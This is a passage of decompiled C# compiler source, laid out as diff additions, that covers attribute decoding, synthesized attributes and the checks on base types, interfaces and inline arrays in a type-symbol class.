bindingDiagnosticBag.Add(ErrorCode.ERR_AttributeOnBadSymbolType, ((SyntaxNode)arguments.AttributeSyntaxOpt.Name).Location, arguments.AttributeSyntaxOpt.GetErrorDisplayName(), "struct"); + } + } + else + { + CSharpCompilation declaringCompilation = DeclaringCompilation; + if (attribute.IsSecurityAttribute(declaringCompilation)) + { + attribute.DecodeSecurityAttribute((Symbol)this, declaringCompilation, ref arguments); + } + } + } + } + + internal static bool IsValidCollectionBuilderType([NotNullWhen(true)] TypeSymbol? builderType) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + if (builderType is NamedTypeSymbol namedTypeSymbol) + { + TypeKind typeKind = builderType.TypeKind; + if (((int)typeKind == 2 || (int)typeKind == 10) && !namedTypeSymbol.IsGenericType) + { + return true; + } + } + return false; + } + + private void CheckPresenceOfTypeIdentifierAttribute() + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + CustomAttributesBag lazyCustomAttributesBag = _lazyCustomAttributesBag; + if (lazyCustomAttributesBag != null && lazyCustomAttributesBag.IsDecodedWellKnownAttributeDataComputed) + { + return; + } + ImmutableArray>.Enumerator enumerator = GetAttributeDeclarations(QuickAttributes.TypeIdentifier).GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxList current = enumerator.Current; + _ = current.Node.SyntaxTree; + QuickAttributeChecker quickAttributeChecker = DeclaringCompilation.GetBinderFactory(current.Node.SyntaxTree).GetBinder(current.Node).QuickAttributeChecker; + Enumerator enumerator2 = current.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Enumerator enumerator3 = enumerator2.Current.Attributes.GetEnumerator(); + while (enumerator3.MoveNext()) + { + AttributeSyntax current2 = enumerator3.Current; + if (quickAttributeChecker.IsPossibleMatch(current2, QuickAttributes.TypeIdentifier)) + { + GetAttributes(); + return; + } + } + } + } + } + + private AttributeUsageInfo DecodeAttributeUsageAttribute(CSharpAttributeData attribute, AttributeSyntax node, bool diagnose, BindingDiagnosticBag diagnosticsOpt = null) + { + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + if (!DeclaringCompilation.IsAttributeType((TypeSymbol)this)) + { + if (diagnose) + { + diagnosticsOpt.Add(ErrorCode.ERR_AttributeUsageOnNonAttributeClass, ((SyntaxNode)node.Name).Location, node.GetErrorDisplayName()); + } + return AttributeUsageInfo.Null; + } + AttributeUsageInfo result = ((AttributeData)attribute).DecodeAttributeUsageAttribute(); + if (!((AttributeUsageInfo)(ref result)).HasValidAttributeTargets) + { + if (diagnose) + { + CSharpSyntaxNode attributeArgumentSyntax = ((AttributeData)(object)attribute).GetAttributeArgumentSyntax(0, node); + diagnosticsOpt.Add(ErrorCode.ERR_InvalidAttributeArgument, ((SyntaxNode)attributeArgumentSyntax).Location, node.GetErrorDisplayName()); + } + return AttributeUsageInfo.Null; + } + return result; + } + + private void DecodeCoClassAttribute(ref DecodeWellKnownAttributeArguments arguments) + { + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Invalid comparison between Unknown and I4 + CSharpAttributeData attribute = arguments.Attribute; + if (this.IsInterfaceType() && (!arguments.HasDecodedData || (object)((TypeWellKnownAttributeData)(object)arguments.DecodedData).ComImportCoClass == null)) + { + TypedConstant val = ((AttributeData)attribute).CommonConstructorArguments[0]; + if (((TypedConstant)(ref val)).ValueInternal is NamedTypeSymbol namedTypeSymbol && (int)namedTypeSymbol.TypeKind == 2) + { + arguments.GetOrCreateData().ComImportCoClass = namedTypeSymbol; + } + } + } + + internal sealed override bool HasCollectionBuilderAttribute(out TypeSymbol? builderType, out string? methodName) + { + CollectionBuilderAttributeData collectionBuilderAttributeData = GetEarlyDecodedWellKnownAttributeData()?.CollectionBuilder; + if (collectionBuilderAttributeData == null) + { + builderType = null; + methodName = null; + return false; + } + builderType = collectionBuilderAttributeData.BuilderType; + methodName = collectionBuilderAttributeData.MethodName; + return true; + } + + private void ValidateConditionalAttribute(CSharpAttributeData attribute, AttributeSyntax node, BindingDiagnosticBag diagnostics) + { + if (!DeclaringCompilation.IsAttributeType((TypeSymbol)this)) + { + diagnostics.Add(ErrorCode.ERR_ConditionalOnNonAttributeClass, ((SyntaxNode)node).Location, node.GetErrorDisplayName()); + return; + } + string constructorArgument = ((AttributeData)attribute).GetConstructorArgument(0, (SpecialType)20); + if (constructorArgument == null || !SyntaxFacts.IsValidIdentifier(constructorArgument)) + { + CSharpSyntaxNode attributeArgumentSyntax = ((AttributeData)(object)attribute).GetAttributeArgumentSyntax(0, node); + diagnostics.Add(ErrorCode.ERR_BadArgumentToAttribute, ((SyntaxNode)attributeArgumentSyntax).Location, node.GetErrorDisplayName()); + } + } + + private bool HasInstanceFields() + { + foreach (FieldSymbol item in GetFieldsToEmit()) + { + if (!item.IsStatic) + { + return true; + } + } + return false; + } + + internal sealed override IEnumerable GetSecurityInformation() + { + CustomAttributesBag attributesBag = GetAttributesBag(); + TypeWellKnownAttributeData typeWellKnownAttributeData = (TypeWellKnownAttributeData)(object)attributesBag.DecodedWellKnownAttributeData; + if (typeWellKnownAttributeData != null) + { + SecurityWellKnownAttributeData securityInformation = ((CommonTypeWellKnownAttributeData)typeWellKnownAttributeData).SecurityInformation; + if (securityInformation != null) + { + return securityInformation.GetSecurityAttributes(attributesBag.Attributes); + } + } + return null; + } + + internal override ImmutableArray GetAppliedConditionalSymbols() + { + TypeEarlyWellKnownAttributeData earlyDecodedWellKnownAttributeData = GetEarlyDecodedWellKnownAttributeData(); + if (earlyDecodedWellKnownAttributeData == null) + { + return ImmutableArray.Empty; + } + return ((CommonTypeEarlyWellKnownAttributeData)earlyDecodedWellKnownAttributeData).ConditionalSymbols; + } + + internal override void PostDecodeWellKnownAttributes(ImmutableArray boundAttributes, ImmutableArray allAttributeSyntaxNodes, BindingDiagnosticBag diagnostics, AttributeLocation symbolPart, WellKnownAttributeData decodedData) + { + //IL_0188: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Invalid comparison between Unknown and I4 + //IL_01d7: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Invalid comparison between Unknown and I4 + TypeWellKnownAttributeData typeWellKnownAttributeData = (TypeWellKnownAttributeData)(object)decodedData; + if (IsComImport) + { + if (typeWellKnownAttributeData == null || ((CommonTypeWellKnownAttributeData)typeWellKnownAttributeData).GuidString == null) + { + int index = boundAttributes.IndexOfAttribute(this, AttributeDescription.ComImportAttribute); + diagnostics.Add(ErrorCode.ERR_ComImportWithoutUuidAttribute, ((SyntaxNode)allAttributeSyntaxNodes[index].Name).Location); + } + if ((int)TypeKind == 2) + { + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = BaseTypeNoUseSiteDiagnostics; + if ((object)baseTypeNoUseSiteDiagnostics != null && (int)baseTypeNoUseSiteDiagnostics.SpecialType != 1) + { + diagnostics.Add(ErrorCode.ERR_ComImportWithBase, GetFirstLocation(), Name); + } + ImmutableArray> staticInitializers = base.StaticInitializers; + if (!staticInitializers.IsDefaultOrEmpty) + { + ImmutableArray>.Enumerator enumerator = staticInitializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + ImmutableArray.Enumerator enumerator2 = enumerator.Current.GetEnumerator(); + while (enumerator2.MoveNext()) + { + FieldOrPropertyInitializer current = enumerator2.Current; + if (!current.FieldOpt.IsMetadataConstant) + { + diagnostics.Add(ErrorCode.ERR_ComImportWithInitializers, current.Syntax.GetLocation(), Name); + } + } + } + } + staticInitializers = base.InstanceInitializers; + if (!staticInitializers.IsDefaultOrEmpty) + { + ImmutableArray>.Enumerator enumerator = staticInitializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + ImmutableArray.Enumerator enumerator2 = enumerator.Current.GetEnumerator(); + while (enumerator2.MoveNext()) + { + diagnostics.Add(ErrorCode.ERR_ComImportWithInitializers, enumerator2.Current.Syntax.GetLocation(), Name); + } + } + } + } + } + else if ((object)ComImportCoClass != null) + { + int index2 = boundAttributes.IndexOfAttribute(this, AttributeDescription.CoClassAttribute); + diagnostics.Add(ErrorCode.WRN_CoClassWithoutComImport, ((SyntaxNode)allAttributeSyntaxNodes[index2]).Location, Name); + } + if (typeWellKnownAttributeData != null && ((CommonTypeWellKnownAttributeData)typeWellKnownAttributeData).HasDefaultMemberAttribute && base.Indexers.Any()) + { + int index3 = boundAttributes.IndexOfAttribute(this, AttributeDescription.DefaultMemberAttribute); + diagnostics.Add(ErrorCode.ERR_DefaultMemberOnIndexedType, ((SyntaxNode)allAttributeSyntaxNodes[index3].Name).Location); + } + base.PostDecodeWellKnownAttributes(boundAttributes, allAttributeSyntaxNodes, diagnostics, symbolPart, decodedData); + } + + internal override bool HasInlineArrayAttribute(out int length) + { + int? num = GetEarlyDecodedWellKnownAttributeData()?.InlineArrayLength; + if (num.HasValue) + { + int valueOrDefault = num.GetValueOrDefault(); + if (valueOrDefault > 0) + { + length = valueOrDefault; + return true; + } + } + length = 0; + return false; + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + //IL_00be: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_01f4: Unknown result type (might be due to invalid IL or missing references) + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = DeclaringCompilation; + if (base.ContainsExtensionMethods) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)111)); + } + if (IsRefLikeType) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeIsByRefLikeAttribute(this)); + ObsoleteAttributeData obsoleteAttributeData = ObsoleteAttributeData; + if (!this.IsRestrictedType(ignoreSpanLikeTypes: true)) + { + if (obsoleteAttributeData == null) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)397, ImmutableArray.Create(new TypedConstant((ITypeSymbolInternal)(object)declaringCompilation.GetSpecialType((SpecialType)20), (TypedConstantKind)1, (object)"Types with embedded references are not supported in this version of your compiler."), new TypedConstant((ITypeSymbolInternal)(object)declaringCompilation.GetSpecialType((SpecialType)7), (TypedConstantKind)1, (object)true)), default(ImmutableArray>), isOptionalUse: true)); + } + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)476, ImmutableArray.Create(new TypedConstant((ITypeSymbolInternal)(object)declaringCompilation.GetSpecialType((SpecialType)20), (TypedConstantKind)1, (object)"RefStructs")), default(ImmutableArray>), isOptionalUse: true)); + } + } + if (IsReadOnly) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeIsReadOnlyAttribute(this)); + } + if (base.Indexers.Any()) + { + string metadataName = base.Indexers.First().MetadataName; + TypedConstant item = default(TypedConstant); + ((TypedConstant)(ref item))._002Ector((ITypeSymbolInternal)(object)declaringCompilation.GetSpecialType((SpecialType)20), (TypedConstantKind)1, (object)metadataName); + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)65, ImmutableArray.Create(item))); + } + if (declaration.Declarations.All((SingleTypeDeclaration d) => d.IsSimpleProgram)) + { + Symbol.AddSynthesizedAttribute(ref attributes, DeclaringCompilation.TrySynthesizeAttribute((WellKnownMember)112)); + } + if (HasDeclaredRequiredMembers) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)469)); + } + SymbolChanges encSymbolChanges = ((CommonPEModuleBuilder)moduleBuilder).EncSymbolChanges; + if (encSymbolChanges != null && encSymbolChanges.IsReplaced(((ISymbolInternal)this).GetISymbol(), false)) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)480, ImmutableArray.Create(new TypedConstant((ITypeSymbolInternal)(object)declaringCompilation.GetWellKnownType((WellKnownType)61), (TypedConstantKind)3, (object)this)), default(ImmutableArray>), isOptionalUse: true)); + } + } + + internal override NamedTypeSymbol AsNativeInteger() + { + if (ContainingAssembly.RuntimeSupportsNumericIntPtr) + { + return this; + } + return ContainingAssembly.GetNativeIntegerType(this); + } + + internal override bool Equals(TypeSymbol t2, TypeCompareKind comparison) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + if (!(t2 is NativeIntegerTypeSymbol nativeIntegerTypeSymbol)) + { + return base.Equals(t2, comparison); + } + return nativeIntegerTypeSymbol.Equals(this, comparison); + } + + protected override void AfterMembersCompletedChecks(BindingDiagnosticBag diagnostics) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Invalid comparison between Unknown and I4 + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + //IL_0176: Unknown result type (might be due to invalid IL or missing references) + //IL_017d: Invalid comparison between Unknown and I4 + base.AfterMembersCompletedChecks(diagnostics); + if ((int)base.ObsoleteKind != 0 || GetMembers().All((Symbol m) => !(m is MethodSymbol methodSymbol) || (int)methodSymbol.MethodKind != 1 || (int)m.ObsoleteKind != 0 || !methodSymbol.ShouldCheckRequiredMembers())) + { + return; + } + ImmutableArray.Enumerator enumerator = GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (current.IsRequired() && (int)current.ObsoleteKind != 0) + { + diagnostics.Add(ErrorCode.WRN_ObsoleteMembersShouldNotBeRequired, current.GetFirstLocation(), current); + } + } + if ((int)TypeKind != 10 || !HasInlineArrayAttribute(out var _)) + { + return; + } + TypeLayout layout = Layout; + if (((TypeLayout)(ref layout)).Kind == LayoutKind.Explicit) + { + diagnostics.Add(ErrorCode.ERR_InvalidInlineArrayLayout, GetFirstLocation()); + } + FieldSymbol fieldSymbol = TryGetPossiblyUnsupportedByLanguageInlineArrayElementField(); + if ((object)fieldSymbol != null) + { + bool flag = false; + if (fieldSymbol.IsRequired || fieldSymbol.IsReadOnly || fieldSymbol.IsVolatile || fieldSymbol.IsFixedSizeBuffer) + { + diagnostics.Add(ErrorCode.ERR_InlineArrayUnsupportedElementFieldModifier, fieldSymbol.TryGetFirstLocation() ?? GetFirstLocation()); + flag = true; + } + NamedTypeSymbol namedTypeSymbol = null; + NamedTypeSymbol namedTypeSymbol2 = null; + ImmutableArray.Enumerator enumerator2 = base.Indexers.GetEnumerator(); + while (enumerator2.MoveNext()) + { + PropertySymbol current2 = enumerator2.Current; + ImmutableArray parameters = current2.Parameters; + if (parameters.Length != 1) + { + continue; + } + ParameterSymbol parameterSymbol = parameters[0]; + if ((object)parameterSymbol != null) + { + TypeSymbol type = parameterSymbol.Type; + if ((object)type != null && ((int)type.SpecialType == 13 || type.Equals(namedTypeSymbol ?? (namedTypeSymbol = DeclaringCompilation.GetWellKnownType((WellKnownType)284)), (TypeCompareKind)63) || type.Equals(namedTypeSymbol2 ?? (namedTypeSymbol2 = DeclaringCompilation.GetWellKnownType((WellKnownType)285)), (TypeCompareKind)63))) + { + diagnostics.Add(ErrorCode.WRN_InlineArrayIndexerNotUsed, current2.TryGetFirstLocation() ?? GetFirstLocation()); + } + } + } + foreach (MethodSymbol item in GetMembers("Slice").OfType()) + { + if (Binder.MethodHasValidSliceSignature(item)) + { + diagnostics.Add(ErrorCode.WRN_InlineArraySliceNotUsed, item.TryGetFirstLocation() ?? GetFirstLocation()); + break; + } + } + NamedTypeSymbol namedTypeSymbol3 = null; + NamedTypeSymbol namedTypeSymbol4 = null; + TypeWithAnnotations typeWithAnnotations = fieldSymbol.TypeWithAnnotations; + bool flag2 = TypeSymbol.IsInlineArrayElementFieldSupported(fieldSymbol); + if (flag2) + { + foreach (SourceUserDefinedConversionSymbol item2 in GetMembers().OfType()) + { + TypeSymbol returnType = item2.ReturnType; + TypeSymbol originalDefinition = returnType.OriginalDefinition; + if (item2.ParameterCount == 1 && item2.Parameters[0].Type.Equals(this, (TypeCompareKind)63) && (originalDefinition.Equals(namedTypeSymbol3 ?? (namedTypeSymbol3 = DeclaringCompilation.GetWellKnownType((WellKnownType)275)), (TypeCompareKind)63) || originalDefinition.Equals(namedTypeSymbol4 ?? (namedTypeSymbol4 = DeclaringCompilation.GetWellKnownType((WellKnownType)276)), (TypeCompareKind)63)) && ConversionsBase.HasIdentityConversion(((NamedTypeSymbol)originalDefinition).Construct(ImmutableArray.Create(typeWithAnnotations)), returnType)) + { + diagnostics.Add(ErrorCode.WRN_InlineArrayConversionOperatorNotUsed, item2.TryGetFirstLocation() ?? GetFirstLocation()); + } + } + } + if (!flag && (!flag2 || typeWithAnnotations.Type.IsPointerOrFunctionPointer() || typeWithAnnotations.IsRestrictedType())) + { + diagnostics.Add(ErrorCode.WRN_InlineArrayNotSupportedByLanguage, fieldSymbol.TryGetFirstLocation() ?? GetFirstLocation()); + } + } + else + { + diagnostics.Add(ErrorCode.ERR_InvalidInlineArrayFields, GetFirstLocation()); + } + if (!ContainingAssembly.RuntimeSupportsInlineArrayTypes) + { + diagnostics.Add(ErrorCode.ERR_RuntimeDoesNotSupportInlineArrayTypes, GetFirstLocation()); + } + } + + internal sealed override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList basesBeingResolved) + { + if (_lazyInterfaces.IsDefault) + { + if (basesBeingResolved != null && ConsListExtensions.ContainsReference(basesBeingResolved, (TypeSymbol)OriginalDefinition)) + { + return ImmutableArray.Empty; + } + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + ImmutableArray value = MakeAcyclicInterfaces(basesBeingResolved, instance); + if (ImmutableInterlocked.InterlockedCompareExchange(ref _lazyInterfaces, value, default(ImmutableArray)).IsDefault) + { + AddDeclarationDiagnostics(instance); + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + return _lazyInterfaces; + } + + protected override void CheckBase(BindingDiagnosticBag diagnostics) + { + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = BaseTypeNoUseSiteDiagnostics; + if ((object)baseTypeNoUseSiteDiagnostics == null) + { + return; + } + Location val = null; + bool flag = baseTypeNoUseSiteDiagnostics.ContainsErrorType(); + if (!flag) + { + val = (Location)(object)FindBaseRefSyntax(baseTypeNoUseSiteDiagnostics); + } + if (base.IsGenericType && !flag && DeclaringCompilation.IsAttributeType((TypeSymbol)baseTypeNoUseSiteDiagnostics)) + { + MessageID.IDS_FeatureGenericAttributes.CheckFeatureAvailability(diagnostics, (Compilation)(object)DeclaringCompilation, val); + } + SingleTypeDeclaration singleTypeDeclaration = FirstDeclarationWithExplicitBases(); + if (singleTypeDeclaration != null) + { + TypeConversions typeConversions = ContainingAssembly.CorLibrary.TypeConversions; + SourceLocation nameLocation = singleTypeDeclaration.NameLocation; + baseTypeNoUseSiteDiagnostics.CheckAllConstraints(DeclaringCompilation, typeConversions, (Location)(object)nameLocation, diagnostics); + } + if (!this.IsClassType() || baseTypeNoUseSiteDiagnostics.IsObjectType() || flag) + { + return; + } + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, ContainingAssembly); + if (declaration.Kind == DeclarationKind.Record) + { + if ((object)SynthesizedRecordClone.FindValidCloneMethod(baseTypeNoUseSiteDiagnostics, ref useSiteInfo) == null) + { + diagnostics.Add(ErrorCode.ERR_BadRecordBase, val); + } + } + else if ((object)SynthesizedRecordClone.FindValidCloneMethod(baseTypeNoUseSiteDiagnostics, ref useSiteInfo) != null) + { + diagnostics.Add(ErrorCode.ERR_BadInheritanceFromRecord, val); + } + ((BindingDiagnosticBag)(object)diagnostics).Add(val, useSiteInfo); + } + + protected override void CheckInterfaces(BindingDiagnosticBag diagnostics) + { + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + MultiDictionary interfacesAndTheirBaseInterfacesNoUseSiteDiagnostics = base.InterfacesAndTheirBaseInterfacesNoUseSiteDiagnostics; + if (interfacesAndTheirBaseInterfacesNoUseSiteDiagnostics.IsEmpty) + { + return; + } + SingleTypeDeclaration singleTypeDeclaration = FirstDeclarationWithExplicitBases(); + if (singleTypeDeclaration == null) + { + return; + } + TypeConversions typeConversions = ContainingAssembly.CorLibrary.TypeConversions; + SourceLocation nameLocation = singleTypeDeclaration.NameLocation; + foreach (KeyValuePair> item in interfacesAndTheirBaseInterfacesNoUseSiteDiagnostics) + { + ValueSet value = item.Value; + Enumerator enumerator2 = value.GetEnumerator(); + try + { + while (enumerator2.MoveNext()) + { + enumerator2.Current.CheckAllConstraints(DeclaringCompilation, typeConversions, (Location)(object)nameLocation, diagnostics); + } + } + finally + { + ((IDisposable)enumerator2/*cast due to constrained. prefix*/).Dispose(); + } + if (value.Count <= 1) + { + continue; + } + NamedTypeSymbol key = item.Key; + enumerator2 = value.GetEnumerator(); + try + { + while (enumerator2.MoveNext()) + { + NamedTypeSymbol current2 = enumerator2.Current; + if ((object)key == current2) + { + continue; + } + if (key.Equals(current2, (TypeCompareKind)8)) + { + if (!key.Equals(current2, (TypeCompareKind)16)) + { + diagnostics.Add(ErrorCode.WRN_DuplicateInterfaceWithNullabilityMismatchInBaseList, (Location)(object)nameLocation, current2, this); + } + } + else if (key.Equals(current2, (TypeCompareKind)12)) + { + diagnostics.Add(ErrorCode.ERR_DuplicateInterfaceWithTupleNamesInBaseList, (Location)(object)nameLocation, current2, key, this); + } + else + { + diagnostics.Add(ErrorCode.ERR_DuplicateInterfaceWithDifferencesInBaseList, (Location)(object)nameLocation, current2, key, this); + } + } + } + finally + { + ((IDisposable)enumerator2/*cast due to constrained. prefix*/).Dispose(); + } + } + } + + private SourceLocation FindBaseRefSyntax(NamedTypeSymbol baseSym) + { + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Expected O, but got Unknown + ImmutableArray.Enumerator enumerator = declaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + BaseListSyntax baseListOpt = GetBaseListOpt(enumerator.Current); + if (baseListOpt == null) + { + continue; + } + Binder binder = DeclaringCompilation.GetBinder(baseListOpt); + binder = binder.WithAdditionalFlagsAndContainingMemberOrLambda(BinderFlags.SuppressConstraintChecks, this); + Enumerator enumerator2 = baseListOpt.Types.GetEnumerator(); + while (enumerator2.MoveNext()) + { + TypeSyntax type = enumerator2.Current.Type; + TypeSymbol type2 = binder.BindType(type, BindingDiagnosticBag.Discarded).Type; + if (baseSym.Equals(type2)) + { + return new SourceLocation((SyntaxNode)(object)type); + } + } + } + return null; + } + + private SingleTypeDeclaration FirstDeclarationWithExplicitBases() + { + ImmutableArray.Enumerator enumerator = declaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SingleTypeDeclaration current = enumerator.Current; + if (GetBaseListOpt(current) != null) + { + return current; + } + } + return null; + } + + internal Tuple> GetDeclaredBases(ConsList basesBeingResolved) + { + if (_lazyDeclaredBases == null) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + if (Interlocked.CompareExchange(ref _lazyDeclaredBases, MakeDeclaredBases(basesBeingResolved, instance), null) == null) + { + AddDeclarationDiagnostics(instance); + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + return _lazyDeclaredBases; + } + + internal override NamedTypeSymbol GetDeclaredBaseType(ConsList basesBeingResolved) + { + return GetDeclaredBases(basesBeingResolved).Item1; + } + + internal override ImmutableArray GetDeclaredInterfaces(ConsList basesBeingResolved) + { + return GetDeclaredBases(basesBeingResolved).Item2; + } + + private Tuple> MakeDeclaredBases(ConsList basesBeingResolved, BindingDiagnosticBag diagnostics) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + //IL_00e8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ee: Invalid comparison between Unknown and I4 + //IL_0321: Unknown result type (might be due to invalid IL or missing references) + //IL_0327: Invalid comparison between Unknown and I4 + //IL_03d0: Unknown result type (might be due to invalid IL or missing references) + //IL_0137: Unknown result type (might be due to invalid IL or missing references) + //IL_013d: Invalid comparison between Unknown and I4 + if ((int)TypeKind == 5) + { + return new Tuple>(null, ImmutableArray.Empty); + } + bool reportedPartialConflict = false; + ConsList newBasesBeingResolved = ConsListExtensions.Prepend(basesBeingResolved, (TypeSymbol)OriginalDefinition); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + NamedTypeSymbol baseType = null; + SourceLocation baseTypeLocation = null; + PooledDictionary pooledSymbolDictionaryInstance = SpecializedSymbolCollections.GetPooledSymbolDictionaryInstance(); + ImmutableArray.Enumerator enumerator = declaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SingleTypeDeclaration decl = enumerator.Current; + Tuple> tuple = MakeOneDeclaredBases(newBasesBeingResolved, decl, diagnostics); + if (tuple == null) + { + continue; + } + NamedTypeSymbol item = tuple.Item1; + ImmutableArray immutableArray = tuple.Item2; + if (!reportedPartialConflict) + { + if ((object)baseType == null) + { + baseType = item; + baseTypeLocation = decl.NameLocation; + } + else if ((int)baseType.TypeKind == 6 && (object)item != null) + { + immutableArray = immutableArray.Add(baseType); + baseType = item; + baseTypeLocation = decl.NameLocation; + } + else if ((object)item != null && !TypeSymbol.Equals(item, baseType, (TypeCompareKind)0) && (int)item.TypeKind != 6) + { + if (item.Equals(baseType, (TypeCompareKind)16)) + { + if (containsOnlyOblivious(baseType)) + { + baseType = item; + baseTypeLocation = decl.NameLocation; + } + else if (!containsOnlyOblivious(item)) + { + reportBaseType(); + } + } + else + { + reportBaseType(); + } + } + } + ImmutableArray.Enumerator enumerator2 = immutableArray.GetEnumerator(); + while (enumerator2.MoveNext()) + { + NamedTypeSymbol current = enumerator2.Current; + if (!((Dictionary)(object)pooledSymbolDictionaryInstance).ContainsKey(current)) + { + instance.Add(current); + ((Dictionary)(object)pooledSymbolDictionaryInstance).Add(current, decl.NameLocation); + } + } + void reportBaseType() + { + CSDiagnosticInfo errorInfo = diagnostics.Add(ErrorCode.ERR_PartialMultipleBases, GetFirstLocation(), this); + baseType = new ExtendedErrorTypeSymbol(baseType, LookupResultKind.Ambiguous, (DiagnosticInfo)(object)errorInfo); + baseTypeLocation = decl.NameLocation; + reportedPartialConflict = true; + } + } + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, ContainingAssembly); + DeclarationKind kind = declaration.Kind; + if (kind - 9 <= DeclarationKind.Class) + { + NamedTypeSymbol namedTypeSymbol = DeclaringCompilation.GetWellKnownType((WellKnownType)201).Construct(this); + if (instance.IndexOf(namedTypeSymbol, (IEqualityComparer)SymbolEqualityComparer.AllIgnoreOptions) < 0) + { + instance.Add(namedTypeSymbol); + namedTypeSymbol.AddUseSiteInfo(ref useSiteInfo); + } + } + if ((object)baseType != null) + { + if (baseType.IsStatic) + { + diagnostics.Add(ErrorCode.ERR_StaticBaseClass, (Location)(object)baseTypeLocation, baseType, this); + } + if (!this.IsNoMoreVisibleThan(baseType, ref useSiteInfo)) + { + diagnostics.Add(ErrorCode.ERR_BadVisBaseClass, (Location)(object)baseTypeLocation, this, baseType); + } + if (baseType.HasFileLocalTypes() && !this.HasFileLocalTypes()) + { + diagnostics.Add(ErrorCode.ERR_FileTypeBase, (Location)(object)baseTypeLocation, baseType, this); + } + } + ImmutableArray item2 = instance.ToImmutableAndFree(); + if ((int)DeclaredAccessibility != 1 && IsInterface) + { + ImmutableArray.Enumerator enumerator2 = item2.GetEnumerator(); + while (enumerator2.MoveNext()) + { + NamedTypeSymbol current2 = enumerator2.Current; + if (!current2.IsAtLeastAsVisibleAs(this, ref useSiteInfo)) + { + diagnostics.Add(ErrorCode.ERR_BadVisBaseInterface, (Location)(object)((Dictionary)(object)pooledSymbolDictionaryInstance)[current2], this, 